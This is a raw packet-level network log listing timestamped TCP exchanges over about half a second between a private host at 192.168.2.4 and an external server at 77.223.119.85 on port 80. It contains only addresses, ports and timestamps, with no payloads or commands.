Apr 12, 2025 19:35:16.260689974 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.260693073 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260704041 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260715961 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260725975 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260735035 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260762930 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260775089 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260786057 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.260792971 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.260792971 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.260793924 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.260797977 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.260797977 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.260843039 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.260843039 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261034966 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261045933 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261054993 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261065006 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261075020 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261085033 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261096001 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261106968 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261106968 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261117935 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261131048 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261132956 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261143923 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261154890 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261158943 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261166096 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261177063 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261177063 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261187077 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261198044 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261207104 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261215925 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261218071 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261228085 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261231899 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261239052 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261248112 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261250019 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261260033 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261270046 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261276007 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261276007 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261281013 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261291981 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261303902 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261303902 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261315107 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261321068 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261326075 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261337042 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261346102 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261360884 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261373997 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261377096 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261384010 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261394024 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261396885 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261404037 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261414051 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261419058 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261425018 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261436939 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261446953 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261446953 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261456966 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261464119 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261467934 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261477947 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261482000 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261487961 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261507034 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261518002 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261527061 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261528969 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261540890 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261548996 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261549950 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261559963 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261567116 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261569023 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261579990 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261584997 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261590004 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261600971 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261600971 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261611938 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261622906 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261629105 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261634111 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261645079 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261646032 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261655092 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261665106 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261667013 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261677027 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.261686087 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.261708021 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.312800884 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.484656096 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.484675884 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.484792948 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.484819889 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.484833002 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.484843016 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.484853983 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.484884024 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.484922886 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.484958887 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.484971046 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.484980106 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.484991074 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.485001087 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.485012054 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.485019922 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.485022068 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.485033035 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.485042095 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.485044956 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.485057116 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.485066891 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.485076904 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.485094070 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.485125065 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.485157013 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.485157013 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.485193968 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.485564947 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.485577106 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.485646009 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.485649109 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.485660076 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.485671997 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.485712051 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.485743046 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.486047983 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.486232996 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.486284971 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.486426115 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.486747980 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.486758947 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.486771107 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.486780882 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.486792088 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.486798048 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.486799002 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.486803055 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.486809015 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.486814976 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.486819029 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.486819983 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.486825943 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.486958981 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.487051964 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.487062931 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.487114906 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.487143040 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.487154961 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.487164974 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.487175941 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.487185955 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.487196922 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.487209082 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.487220049 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.487241030 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.487248898 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.487272024 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.487323999 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.487706900 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.487723112 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.487777948 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.487788916 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.487792015 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.487860918 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.488408089 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.488424063 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.488434076 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.488445044 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.488462925 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.488473892 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.488502979 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.488513947 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.488523960 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.488528967 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.488528013 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.488534927 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.488545895 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.488554955 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.488565922 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.488576889 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.488585949 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.488595963 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.488606930 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.488615990 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.488620996 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.488626003 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.488636017 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.488646030 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.488656044 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.488656998 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.488667965 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.488682985 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.488724947 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.540344954 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.594115019 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.711035013 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.711163998 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.711179018 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.711208105 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.711374998 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.711386919 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.711414099 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.711429119 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.711467028 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.711492062 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.711503983 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.711517096 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.711527109 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.711539030 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.711581945 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.711735010 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712064028 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712076902 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712086916 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712095976 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712106943 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712109089 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.712120056 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712130070 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712141037 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712150097 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.712151051 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712162971 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712171078 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.712174892 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712186098 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712188005 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.712212086 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.712336063 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712351084 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712362051 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712372065 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712382078 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712392092 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712392092 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.712403059 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712410927 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.712414026 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712424994 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712436914 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712444067 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.712447882 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712457895 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712459087 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.712470055 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712481976 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712486029 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.712492943 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712502956 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712515116 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712517977 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.712526083 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712531090 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.712538004 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712552071 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712559938 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.712588072 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.712708950 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712723017 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712732077 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712743044 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712749958 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.712753057 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712764025 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712764978 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.712776899 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712786913 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712788105 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.712799072 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712809086 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712815046 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.712820053 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712831020 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712831020 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.712842941 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712853909 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712855101 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.712865114 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712888002 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712898016 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712904930 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.712904930 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.712908030 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712918043 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712928057 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712939978 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712939978 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.712949991 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712950945 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.712968111 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712975979 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.712980032 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.712990999 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713001013 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713011980 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713016033 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.713022947 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713032961 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713042974 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713043928 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.713053942 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713066101 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713076115 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713079929 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.713087082 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713098049 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713103056 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.713110924 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713118076 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.713119984 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713133097 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713133097 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.713143110 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713156939 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.713179111 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:16.713356018 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713367939 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:16.713377953 CEST	80	49713	77.223.119.85	192.168.2.4
